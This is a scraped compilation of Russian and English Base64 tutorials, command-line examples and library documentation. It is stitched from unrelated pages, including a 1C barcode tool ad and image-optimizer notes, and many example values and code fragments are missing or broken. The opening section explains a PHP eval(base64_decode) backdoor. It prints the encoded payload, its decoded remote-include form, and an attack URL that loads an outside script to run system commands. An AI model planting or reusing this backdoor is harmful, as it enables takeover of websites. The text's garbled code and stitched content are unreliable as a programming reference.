Содержание
- Eval base64_decode.
- Алгоритм работы
- Преобразование строки в массив байтов
- base64 [OPTION] [INFILE] [OUTFILE]
- How does Base64 encoding algorithm work?
- Кодирование/декодирование двоичных данных.
- Source code
- API reference
- Обработка «Распознавание штрихкода с помощью утилиты Zbar» для Документооборот ред. 2
- Examples
- Навигатор по конфигурации базы 1С 8.3
- Missing Data
- расшифровка base64_decode описание
- Php код для шифрования текста с помощью функции base64_decode
- About
- How base64 encoding works?
- What tools does Smush.it use to smush images?
- More Info and Resources
- About
Eval base64_decode.
Eval(base64_decode(«aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs=»)); What it means? If you found something like this
in the code of your website, most probably your site is hacked. This is a kind of backdoor in your site. Decoded from Base64 it will be
if(isset($_GET))include $_GET;
An attacker can execute own scripts in the content of your website. He can do it like this
http://www.yoursite.com/index.php?cmd=http://www.somesite.com/somescript.txt
Somescript.txt can contain a code like this system(«dir»); where «dir» is a command that will be executed.
Fortunately attacker do not think about the fact that he uses method GET, so you can see in the webserver logs what he did exactly.
If you found it in your site first of all change your passwords, check file rights (that should be 644), newer use the same passwords for database and FTP, bacause the database password most commonly
stored in plain-text. Do not use shared hosting, bacause if one website located on shared hosting is hacked, it is simple to hack any other website located at same server.
Алгоритм работы
Изначально на вход поступает массив байт, каждый байт — это число от до 255, то есть максимальное количество бит в числе равно восьми (255 в двоичной системе счисления это 11111111). Необходимо взять 3 байта, это 24 бита, которые разбивают на 4 части – по 6 бит. Число из 6 бит (в десятичной системе) и будет представлять из себя очередной индекс в таблице для получения символа кодирования (6 бит – в двоичном виде 111111, в десятичном виде это число 63). Если размер исходного массива не кратен 3, тогда итоговую строку следует дополнить символом до размера кратного 3.
В качестве примера, продемонстрирую как происходит кодирование строки «». Для начала, необходимо получить массив байт, это будет 4 десятичных числа 100, 101, 109, 111. В двоичном виде это значения 1100100, 1100101, 1101101, 1101111.
Дополним количество бит в числах до 8, и разобьём на группы по 6 бит. Получим значения 011001, 000110, 010101, 101101, 011011, 110000. Переведём в десятичную систему счисления, получим числа 25, 6, 21, 45, 27, 48. Взяв символы из таблицы Base64 символов по данным индексам, получим строку . Во входящем массиве байт было 4 числа. Четыре не кратно трём, остаток от деления на три будет 1. Если остаток 1, то нужно дополнить двумя символами , если остаток будет 2, то дополнить одним символом . В данном случае дополнив имеющуюся строку .
Дополнив строку, получаем результат . Это и есть Base64 строка, полученная из строки «».
Наглядно процесс кодирования можно увидеть ниже:

Декодирование информации из Base64 строки представляет из себя обратный процесс. Нам необходимо разбить строку по 4 символа, получить их значения из таблицы символов Base64, затем полученную группу из 24 бит необходимо разбить на 3 части – получится 3 значения по 8 бит, которые мы помещаем в массив байт. Повторять данный процесс необходимо до конца имеющейся строки. Символ не будет участвовать в процессе, он будет только показывать, какое количество бит необходимо взять из конца строки.
Демонстрацию процесса декодирования можно увидеть ниже:

Преобразование строки в массив байтов
Иногда нам нужно преобразовать Строку в байт[] . Самый простой способ сделать это-использовать метод String getBytes() :
String originalInput = "test input"; byte[] result = originalInput.getBytes(); assertEquals(originalInput.length(), result.length);
String originalInput = "test input"; byte[] result = originalInput.getBytes(StandardCharsets.UTF_16); assertTrue(originalInput.length() < result.length);
Если наша строка Base64 закодирована, мы можем использовать декодер Base64 |:
String originalInput = "dGVzdCBpbnB1dA=="; byte[] result = Base64.getDecoder().decode(originalInput); assertEquals("test input", new String(result));
Мы также можем использовать DatatypeConverter parseBase64Binary() метод :
String originalInput = "dGVzdCBpbnB1dA=="; byte[] result = DatatypeConverter.parseBase64Binary(originalInput); assertEquals("test input", new String(result));
Наконец, мы можем преобразовать шестнадцатеричную строку в байт[] с помощью метода DatatypeConverter :
String originalInput = "7465737420696E707574"; byte[] result = DatatypeConverter.parseHexBinary(originalInput); assertEquals("test input", new String(result));
base64 [OPTION] [INFILE] [OUTFILE]
You can use different types of options with base64 command. Data can be taken from any file or standard input while encoding or decoding. After encode or decode, you can send the output in a file or print the output in the terminal.
Options:
-e or –encode
This option is used to encode any data from standard input or from any file. It is the default option.
-d or –decode
This option is used to decode any encoded data from standard input or from any file.
-n or –noerrcheck
By default, base64 checks error while decoding any data. You can use –n or –noerrcheck option to ignore checking at the time of decoding.
-u or –help
This option is used to get information about the usage of this command.
-i, –ignore-garbage
This option is used to ignore non-alphabet character while decoding.
–copyright
It is used to get copyright information.
–version
It is used to get the version information.
How you use the base64 command in Linux is shown in this tutorial by using some examples.
Example#1: Encoding text data
You can encode any text data by using base64 in the command line. When you want to encode any data using base64 then using -e or –encode option is optional. So, if you don’t mention any option with base64 then it will work for encoding. The following command will encode the data, ‘linuxhint.com’ and print the encoded data as output.
$ echo ‘linuxhint.com’ | base64
Output:
Example#2: Decoding text data
The following command will decode the encoded text, ‘bGludXhoaW50LmNvbQ==‘ and print the original text as output.
$ echo ‘bGludXhoaW50LmNvbQo=’ | base64 —decode
Output:
Example#3: Encoding text file
Create a text file named, ‘sample.txt’ with the following text that will be encoded by using base64.
Sample.txt
PHP uses base64_encode and base64_decode for data encoding and decoding
You can print the encoded text in the command line or store the encoded text into another file. The following command will encode the content of the sample.txt file and print the encoded text in the terminal.
$ base64 sample.txt
Output:
The following commands will encode the content of the sample.txt file and save the encoded text into the encodedData.txt file.
$ base64 sample.txt > encodedData.txt
$ cat encodedData.txt
Output:
Example#4: Decoding text file
The following command will decode the content of the encodedData.txt file and print the output in the terminal
$ base64 -d encodedData.txt
Output:
The following commands will decode the content of the encodedData.txt file and store the decoded content into the file, originalData.txt.
$ base64 —decode encodedData.txt > originalData.txt
$ cat originalData.txt
Output:
Example#5: Encoding any user-defined text
Create a bash file named encode_user_data.sh with the following code. The following script will take any text data as input, encode the text by using base64 and print the encoded text as output.
#!/bin/bashecho «Enter Some text to encode»read textetext=`echo -n $text | base64`echo «Encoded text is : $etext»
Run the script.
$ base encode_user_data.sh
Output:
Example#6: Checking user validity by decoding text
Create a bash file named checkValidity.sh and add the following code. In this example, a secret text is taken from the user. A predefined encoded text is decoded by base64 and compared with the user input. If both values are equal then the output will be ‘You are authenticated’ otherwise the output will be ‘You are not authenticated’. Using this simple decoding code, normal validation can be done very easily.
#!/bin/bashecho «Type your secret code»read secretotext=`echo ‘Nzc3Nzk5Cg==’ | base64 —decode`if $secret == $otext ; thenecho «You are authenticated»elseecho «You are not authenticated»fi
Run the script.
$ bash checkValidity.sh
Output:
Conclusion:
For any sensitive data like password or any confidential data, encoding and decoding system is not suitable at all. You must use encryption and decryption system for securing these type of data.
How does Base64 encoding algorithm work?
Base64 encoding is multi-step process. But it is very simple. Here is how it works —
- Convert the input to 8-bit bytes
- Re-group the input to 6-bit groups.
- Find the decimal equivalent of the 6-bit groups.
- Use the Base64 alphabet table to find the character corresponding to the decimal values.
-
If the input can’t be grouped into an integral number of 6-bit groups, then one or two pad character is added to the output based on the following conditions:
- If the last group contains 2 bits, append 4 zero bits to the input.
- If the last group contains 4 bits, append 2 zero bits to the input.
In the first case, two pad characters () are appended to the Base64 output and in the second case, a single pad character () is appended.
Let’s see an example:
Кодирование/декодирование двоичных данных.
Модуль предоставляет функции для кодирования двоичных данных в печатаемые символы ASCII и декодирования таких кодировок обратно в двоичные данные. Он обеспечивает функции кодирования и декодирования для кодировок, указанных в RFC 3548, который определяет алгоритмы , и , а также для де-факто стандартных кодировок и .
Кодировки RFC 3548 подходят для кодирования двоичных данных, чтобы их можно было безопасно отправлять по электронной почте, использовать как части URL-адресов или включать как часть HTTP POST запроса. Алгоритм кодирования не совпадает с алгоритмом программы .
Этот модуль предоставляет два интерфейса. Современный интерфейс поддерживает кодирование байтовоподобных объектов в байты ASCII и декодирование байтообразных объектов или строк, содержащих ASCII в байты. Поддерживаются оба алфавита base-64, определенные в RFC 3548 — это обычный и безопасный для URL и файловой системы.
Устаревший интерфейс (рассматриваться не будет) не поддерживает декодирование из строк, но он предоставляет функции для кодирования и декодирования в и из файловых объектов. Он поддерживает только стандартный алфавит и добавляет новые строки каждые 76 символов в соответствии с RFC 2045.
Примеры использования:
>>> import base64 >>> encoded = base64.b64encode(b'data to be encoded') >>> encoded # b'ZGF0YSB0byBiZSBlbmNvZGVk' >>> data = base64.b64decode(encoded) >>> data # b'data to be encoded'
Кодирование файла в base64
# file-to-base64.py import base64, pprint with open(__file__, 'r', encoding='utf-8') as fp raw = fp.read() byte_string = raw.encode('utf-8') encoded_data = base64.b64encode(byte_string) num_initial = len(byte_string) num_encoded = len(encoded_data) padding = 3 - (num_initial % 3) print(f'{num_initial} байт до кодирования') print(f'{padding} байта заполнения') print(f'{num_encoded} bytes после encoding\n') # Так как строка длинная печатаем ее при помощи pprint pprint.pprint(encoded_data, width=60)
Результат:
$ python3 file-to-base64.py 586 байт до кодирования 2 байта заполнения 784 bytes после encoding (b'IyBmaWxlLXRvLWJhc2U2NC5weQppbXBvcnQgYmFzZTY0LCBwcHJpbnQK' b'CndpdGggb3BlbihfX2ZpbGVfXywgJ3InLCBlbmNvZGluZz0ndXRmLTgn' b'KSBhcyBmcDoKICAgIHJhdyA9IGZwLnJlYWQoKQoKYnl0ZV9zdHJpbmcg' b'PSByYXcuZW5jb2RlKCd1dGYtOCcpCmVuY29kZWRfZGF0YSA9IGJhc2U2' b'NC5iNjRlbmNvZGUoYnl0ZV9zdHJpbmcpCgpudW1faW5pdGlhbCA9IGxl' b'bihieXRlX3N0cmluZykKbnVtX2VuY29kZWQgPSBsZW4oZW5jb2RlZF9k' b'YXRhKQoKcGFkZGluZyA9IDMgLSAobnVtX2luaXRpYWwgJSAzKQoKcHJp' b'bnQoZid7bnVtX2luaXRpYWx9INCx0LDQudGCINC00L4g0LrQvtC00LjR' b'gNC+0LLQsNC90LjRjycpCnByaW50KGYne3BhZGRpbmd9INCx0LDQudGC' b'0LAg0LfQsNC/0L7Qu9C90LXQvdC40Y8nKQpwcmludChmJ3tudW1fZW5j' b'b2RlZH0gYnl0ZXMg0L/QvtGB0LvQtSBlbmNvZGluZ1xuJykKIyDQotCw' b'0Log0LrQsNC6INGB0YLRgNC+0LrQsCDQtNC70LjQvdC90LDRjyDQv9C1' b'0YfQsNGC0LDQtdC8INC10LUg0L/RgNC4INC/0L7QvNC+0YnQuCBwcHJp' b'bnQKcHByaW50LnBwcmludChlbmNvZGVkX2RhdGEsIHdpZHRoPTYwKQ==')
Source code
dCode retains ownership of the online «Base64 Coding» source code. Except explicit open source licence (indicated CC / Creative Commons / free), the «Base64 Coding» algorithm, the applet or snippet (converter, solver, encryption / decryption, encoding / decoding, ciphering / deciphering, translator), or the «Base64 Coding» functions (calculate, convert, solve, decrypt / encrypt, decipher / cipher, decode / encode, translate) written in any informatic language (Python, Java, PHP, C#, Javascript, Matlab, etc.) and all data download, script, copy-paste, or API access for «Base64 Coding» are not public, same for offline use on PC, tablet, iPhone or Android ! Remainder : dCode is free to use.
API reference
Strings are represented as a pointer and a length; they are not
zero-terminated. This was a conscious design decision. In the decoding step,
relying on zero-termination would make no sense since the output could contain
legitimate zero bytes. In the encoding step, returning the length saves the
overhead of calling on the output. If you insist on the trailing
zero, you can easily add it yourself at the given offset.
Flags
Some API calls take a argument.
That argument can be used to force the use of a specific codec, even if that codec is a no-op in the current build.
Mainly there for testing purposes, this is also useful on ARM where the only way to do runtime NEON detection is to ask the OS if it’s available.
The following constants can be used:
Set to for the default behavior, which is runtime feature detection on x86, a compile-time fixed codec on ARM, and the plain codec on other platforms.
Encoding
base64_encode
void base64_encode ( const char *src , size_t srclen , char *out , size_t *outlen , int flags ) ;
Wrapper function to encode a plain string of given length.
Output is written to without trailing zero.
Output length in bytes is written to .
The buffer in has been allocated by the caller and is at least 4/3 the size of the input.
base64_stream_encode_init
void base64_stream_encode_init ( struct base64_state *state , int flags ) ;
Call this before calling to init the state.
base64_stream_encode
void base64_stream_encode ( struct base64_state *state , const char *src , size_t srclen , char *out , size_t *outlen ) ;
Encodes the block of data of given length at , into the buffer at .
Caller is responsible for allocating a large enough out-buffer; it must be at least 4/3 the size of the in-buffer, but take some margin.
Places the number of new bytes written into (which is set to zero when the function starts).
Does not zero-terminate or finalize the output.
base64_stream_encode_final
void base64_stream_encode_final ( struct base64_state *state , char *out , size_t *outlen ) ;
Finalizes the output begun by previous calls to .
Adds the required end-of-stream markers if appropriate.
is modified and will contain the number of new bytes written at (which will quite often be zero).
Decoding
base64_decode
int base64_decode ( const char *src , size_t srclen , char *out , size_t *outlen , int flags ) ;
Wrapper function to decode a plain string of given length.
Output is written to without trailing zero. Output length in bytes is written to .
The buffer in has been allocated by the caller and is at least 3/4 the size of the input.
Returns for success, and when a decode error has occured due to invalid input.
Returns if the chosen codec is not included in the current build.
base64_stream_decode_init
void base64_stream_decode_init ( struct base64_state *state , int flags ) ;
Call this before calling to init the state.
base64_stream_decode
int base64_stream_decode ( struct base64_state *state , const char *src , size_t srclen , char *out , size_t *outlen ) ;
Decodes the block of data of given length at , into the buffer at .
Caller is responsible for allocating a large enough out-buffer; it must be at least 3/4 the size of the in-buffer, but take some margin.
Places the number of new bytes written into (which is set to zero when the function starts).
Does not zero-terminate the output.
Returns 1 if all is well, and 0 if a decoding error was found, such as an invalid character.
Returns -1 if the chosen codec is not included in the current build.
Used by the test harness to check whether a codec is available for testing.
Обработка «Распознавание штрихкода с помощью утилиты Zbar» для Документооборот ред. 2
В связи с тем, что стандартный функционал программы «Документооборот» ред. 2.1 дает возможность распознавания штрихкодов только форма EAN-13, данная обработка — альтернативный способ для распознавания штрихкода в программе 1С: Документооборот ред. 2 с помощью утилиты Zbar, которая распознает в том числе и в формате Code 128 (один из стандартных штрихкодов кодирования документов, например, «Управление торговлей» ред. 11), а также с возможностью поэтапно проследить все действия от распознавания до прикрепления к документу или простой загрузки в каталоги файлов в базе 1С.
5 стартмани
Examples
A simple example of encoding a static string to base64 and printing the output
to stdout:
#include <stdio.h> /* fwrite */ #include "libbase64.h" int main () { char src[] = "hello world"; char out; size_t srclen = sizeof(src) - 1; size_t outlen; base64_encode(src, srclen, out, &outlen, ); fwrite(out, outlen, 1, stdout); return ; }
A simple example (no error checking, etc) of stream encoding standard input to
standard output:
#include <stdio.h> #include "libbase64.h" int main () { size_t nread, nout; char buf, out; struct base64_state state; // Initialize stream encoder: base64_stream_encode_init(&state, ); // Read contents of stdin into buffer: while ((nread = fread(buf, 1, sizeof(buf), stdin)) > ) { // Encode buffer: base64_stream_encode(&state, buf, nread, out, &nout); // If there's output, print it to stdout: if (nout) { fwrite(out, nout, 1, stdout); } // If an error occurred, exit the loop: if (feof(stdin)) { break; } } // Finalize encoding: base64_stream_encode_final(&state, out, &nout); // If the finalizing resulted in extra output bytes, print them: if (nout) { fwrite(out, nout, 1, stdout); } return ; }
Also see for a simple re-implementation of the utility.
A file or standard input is fed through the encoder/decoder, and the output is
written to standard output.
Навигатор по конфигурации базы 1С 8.3
Универсальная внешняя обработка для просмотра метаданных конфигураций баз 1С 8.3.
Отображает свойства и реквизиты объектов конфигурации, их количество, основные права доступа и т.д.
Отображаемые характеристики объектов: свойства, реквизиты, стандартные рекизиты, реквизиты табличных частей, предопределенные данные, регистраторы для регистров, движения для документов, команды, чужие команды, подписки на события, подсистемы.
Отображает структуру хранения объектов базы данных, для регистров доступен сервис «Управление итогами».
Платформа 8.3, управляемые формы. Версия 1.1.0.85 от 10.10.2021
3 стартмани
Missing Data
Its not uncommon to experience Missing Data in a pipeline. A source will send data through a pipeline but have nothing in the sink. This is usually due to the compiler matching the wrong function. For example:
string source = "FF 88 00", destination; StringSink ss(source, new HexDecoder( new StringSink(destination) ) // HexDecoder ); // StringSink
After the above code executes, will likely be empty because the compiler coerces the (the pointer) to a (the parameter), which leaves the ‘s attached transformation . The compiler will do so without warning, even with . To resolve the issue, explicitly specify the parameter:
string source = "FF 88 00", destination; StringSink ss(source, true /*pumpAll*/, new HexDecoder( new StringSink(destination) ) // HexDecoder ); // StringSink
Another way data ends up missing is failing to call when pumping data. For example, the following may not produce expected results:
// The 4-bit nibble will be buffered waiting for another nibble string source = "FF 88 0", destination; HexDecoder decoder(new StringSink(destination)); decoder.Put(source.data(), source.size()); // Do something with destination
In the case of a Base64 encoder, the filter will buffer the first two octets while waiting on a third octet. Be sure to call when data comes up missing:
расшифровка base64_decode описание
- Скачать
-
base64_decode — это функция, которая противоположна base64_encode . Те данные, зашифрованные base64_encode можно декодировать с помощью base64_decode
base64_decode ( string $var ) : string|false
Что означает выше приведенная информация спецификации base64_decode!?base64_decode — написание функции base64_decode
«string» — передаваемое значение в функцию должно иметь тип данных string
bool — тип данных bool
$var — переменная с данными
$strict — Если параметр strict задан как TRUE, функция base64_decode() вернет FALSE в случае, если входные данные содержат символы, не входящие в алфавит base64. В противном случае такие символы будут отброшены.
«: string|false» — возвращает тип данных строку, либо false.
Для того, что продемонстрировать, как работает данное декодирование base64_decode
Мы должны какие-то данные зашифровать например «Hello world!»
Hello world! = SGVsbG8gd29ybGQh
Полученные данные помещаем в переменную: :
$example = ‘SGVsbG8gd29ybGQh ‘;
Применяем к данной строке расшифровка base64_decode :
base64_decode ($example);
Выводим с помощью echo
echo base64_decode ($example);
Hello world!
Как вы наверное знаете, что некоторые функции категорически не работают с кириллицей в utf-8 по причине, которую мы вот тут разбирали.
Для того, чтобы проверить работу функции base64_decode с кириллицей utf-8, нам опять понадобится сперва зашифровать «Привет мир!» :
Привет мир! = 0J/RgNC40LLQtdGCINC80LjRgCE=
Полученные данные помещаем в переменную:
$example = ‘0J/RgNC40LLQtdGCINC80LjRgCE=’;
Выводим :
echo base64_decode ($example);
Привет мир!
-
Как расшифровать данные с помощью base64_decode?
Чтобы получить строку, которая закодирована ранее, для вашего удобства сделаю два поля —
декодировать.
На данной в поле введите данные и нажмите отправить.
Скопируйте результат.
Вставьте скопированную строку в поле ниже и нажмите Декодировать base64_decode.
Php код для шифрования текста с помощью функции base64_decode
Style:
.kod {
display: block;
background: #fbfbfb;
margin: 10px 0 10px 0;
padding: 20px;
border: 1px solid #a7a7a7;
font-size: 14px;
word-break: break-word;
}
Php:
<?
if($_POST) { $result = ‘<a name=»result»></a><red> Ваш зашифрованный текст</red> : <div class=»kod»>’ . base64_decode (strip_tags($_POST)).'</div>’ ;}
?>
Html:
<? echo $result; ?>
<form method=»post» action=»#result»>
<textarea name=»example»></textarea>
<input name=»example1″ type=»submit» class=»width_100pro padding_10_0″>
</form>
Пользуйтесь на здоровье! Не забудьте сказать
Название скрипта :Расшифровка base64_decode
Ссылка на скачивание : Все скрипты на
Теги :
About
- Character set: Our website uses the UTF-8 character set, so your input data is transmitted in that format. Change this option if you want to convert the data to another character set before encoding. Note that in case of text data, the encoding scheme does not contain the character set, so you may have to specify the appropriate set during the decoding process. As for files, the binary option is the default, which will omit any conversion; this option is required for everything except plain text documents.
- Newline separator: Unix and Windows systems use different line break characters, so prior to encoding either variant will be replaced within your data by the selected option. For the files section, this is partially irrelevant since files already contain the corresponding separators, but you can define which one to use for the «encode each line separately» and «split lines into chunks» functions.
- Encode each line separately: Even newline characters are converted to their Base64 encoded forms. Use this option if you want to encode multiple independent data entries separated with line breaks. (*)
- Split lines into chunks: The encoded data will become a continuous text without any whitespaces, so check this option if you want to break it up into multiple lines. The applied character limit is defined in the MIME (RFC 2045) specification, which states that the encoded lines must be no more than 76 characters long. (*)
- Perform URL-safe encoding: Using standard Base64 in URLs requires encoding of «+», «/» and «=» characters into their percent-encoded form, which makes the string unnecessarily longer. Enable this option to encode into an URL- and filename- friendly Base64 variant (RFC 4648 / Base64URL) where the «+» and «/» characters are respectively replaced by «-» and «_», as well as the padding «=» signs are omitted.
- Live mode: When you turn on this option the entered data is encoded immediately with your browser’s built-in JavaScript functions, without sending any information to our servers. Currently this mode supports only the UTF-8 character set.
(*) These options cannot be enabled simultaneously since the resulting output would not be valid for the majority of applications.Safe and secureCompletely freeDetails of the Base64 encodingDesignExampleMan is distinguished, not only by his reason, but …ManTWFu
Text content | M | a | n | |||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
ASCII | 77 | 97 | 110 | |||||||||
Bit pattern | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Index | 19 | 22 | 5 | 46 | ||||||||
Base64-encoded | T | W | F | u |
How base64 encoding works?
Base64 encode example A.
× Let’s begin with a string «Base64»
B | a | s | e | 6 | 4 |
× Hexadecimal representation:
42 | 61 | 73 | 65 | 36 | 34 |
× Binary representation: Binary converter
01000010 | 01100001 | 01110011 | 01100101 | 00110110 | 00110100 |
× Now we need to split the result in groups of 6 bits.
010000 | 100110 | 000101 | 110011 | 011001 | 010011 | 011000 | 110100 |
× Next, convert the groups of 6 bits into decimal representation.
16 | 38 | 5 | 51 | 25 | 19 | 24 | 52 |
× Now we can use the to convert the decimal values into base64 equivalent.
Q | m | F | z | Z | T | Y |
Base64 encode example B.
× We will split the string «Base64» into two smaller strings: «Ba» and «se64» and encode it into Base64.So, we have:
B | a |
× Hexadecimal representation:
42 | 61 |
× Binary representation:
01000010 | 01100001 |
× We can split it in two groups of 6 bits. But the last group is only 4 bits long,so we need to add two extra bits of ‘0’ and remember it by putting a ‘=’ at the end.
010000 | 100110 | 000100 |
× In decimal:
16 | 38 | 4 |
× Base64 encoded equivalent:
Q | m | E | = |
Base64 encode example C.
s | e | 6 | 4 |
× Hexadecimal representation:
73 | 65 | 36 | 34 |
× Binary representation:
01110011 | 01100101 | 00110110 | 00110100 |
× Splitted in groups of 6 bits. The last group contains only two bits.Because of this we need to add four extra bits of ‘0’ and put two ‘=’ at the end.
011100 | 110110 | 010100 | 110110 | 001101 | 000000 |
× Base64 encoded string will be:
c | 2 | U | 2 | N | A== |
What tools does Smush.it use to smush images?
We have found many good tools for reducing image size. Often times these tools are specific to particular image formats and work much better in certain circumstances than others. To «smush» really means to try many different image reduction algorithms and figure out which one gives the best result.
These are the algorithms currently in use:
- ImageMagick: to identify the image type and to convert GIF files to PNG files.
- pngcrush: to strip unneeded chunks from PNGs. We are also experimenting with other PNG reduction tools such as pngout, optipng, pngrewrite. Hopefully these tools will provide improved optimization of PNG files.
- jpegtran: to strip all metadata from JPEGs (currently disabled) and try progressive JPEGs.
- gifsicle: to optimize GIF animations by stripping repeating pixels in different frames.
More Info and Resources
The Base 64 Alphabet
Value Encoding Value Encoding Value Encoding Value Encoding 0 A 17 R 34 i 51 z 1 B 18 S 35 j 52 0 2 C 19 T 36 k 53 1 3 D 20 U 37 l 54 2 4 E 21 V 38 m 55 3 5 F 22 W 39 n 56 4 6 G 23 X 40 o 57 5 7 H 24 Y 41 p 58 6 8 I 25 Z 42 q 59 7 9 J 26 a 43 r 60 8 10 K 27 b 44 s 61 9 11 L 28 c 45 t 62 + 12 M 29 d 46 u 63 / 13 N 30 e 47 v 14 O 31 f 48 w (pad) = 15 P 32 g 49 x 16 Q 33 h 50 y
RFC’s
- RFC 1866 — Hypertext Markup Language — 2.0
- RFC 2045 — Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies
- RFC 2046 — Definition of media types
- RFC 2077 — Model top-level media type
- RFC 2396 — Uniform Resource Identifiers (URI): Generic Syntax
- RFC 2397 — The «data» URL scheme
- RFC 3023 — Media types based on XML
- RFC 4648 — The Base16, Base32, and Base64 Data Encodings
- RFC 6657 — Update to MIME regarding «charset» Parameter Handling in Textual Media Types
- RFC 5988 — Web Linking
Type image
- GIF image; Defined in RFC 2045 and RFC 2046
- JPEG JFIF image; Defined in RFC 2045 and RFC 2046
- JPEG JFIF image; Associated with Internet Explorer; Listed in ms775147(v=vs.85) — Progressive JPEG, initiated before global browser support for progressive JPEGs (Microsoft and Firefox).
- Portable Network Graphics; Registered, Defined in RFC 2083
- SVG vector image; Defined in SVG Tiny 1.2 Specification Appendix M
- Tag Image File Format (only for Baseline TIFF); Defined in RFC 3302
- ICO image; Registered
Misc
- Image to data URI convertor
- : Your one-stop HTML5 spot for all things Data URL
- The data: URI kitchen
- php: data://
- Using Data URLs Effectively with Cascading Style Sheets
- getID3: PHP script that extracts useful information from MP3s & other multimedia file formats:
About
- Character set: Our website uses the UTF-8 character set, so your input data is transmitted in that format. Change this option if you want to convert the data to another character set before encoding. Note that in case of text data, the encoding scheme does not contain the character set, so you may have to specify the appropriate set during the decoding process. As for files, the binary option is the default, which will omit any conversion; this option is required for everything except plain text documents.
- Newline separator: Unix and Windows systems use different line break characters, so prior to encoding either variant will be replaced within your data by the selected option. For the files section, this is partially irrelevant since files already contain the corresponding separators, but you can define which one to use for the «encode each line separately» and «split lines into chunks» functions.
- Encode each line separately: Even newline characters are converted to their Base64 encoded forms. Use this option if you want to encode multiple independent data entries separated with line breaks. (*)
- Split lines into chunks: The encoded data will become a continuous text without any whitespaces, so check this option if you want to break it up into multiple lines. The applied character limit is defined in the MIME (RFC 2045) specification, which states that the encoded lines must be no more than 76 characters long. (*)
- Perform URL-safe encoding: Using standard Base64 in URLs requires encoding of «+», «/» and «=» characters into their percent-encoded form, which makes the string unnecessarily longer. Enable this option to encode into an URL- and filename- friendly Base64 variant (RFC 4648 / Base64URL) where the «+» and «/» characters are respectively replaced by «-» and «_», as well as the padding «=» signs are omitted.
- Live mode: When you turn on this option the entered data is encoded immediately with your browser’s built-in JavaScript functions, without sending any information to our servers. Currently this mode supports only the UTF-8 character set.
(*) These options cannot be enabled simultaneously since the resulting output would not be valid for the majority of applications.Safe and secureCompletely freeDetails of the Base64 encodingDesignExampleMan is distinguished, not only by his reason, but …ManTWFu
Text content | M | a | n | |||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
ASCII | 77 | 97 | 110 | |||||||||
Bit pattern | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Index | 19 | 22 | 5 | 46 | ||||||||
Base64-encoded | T | W | F | u |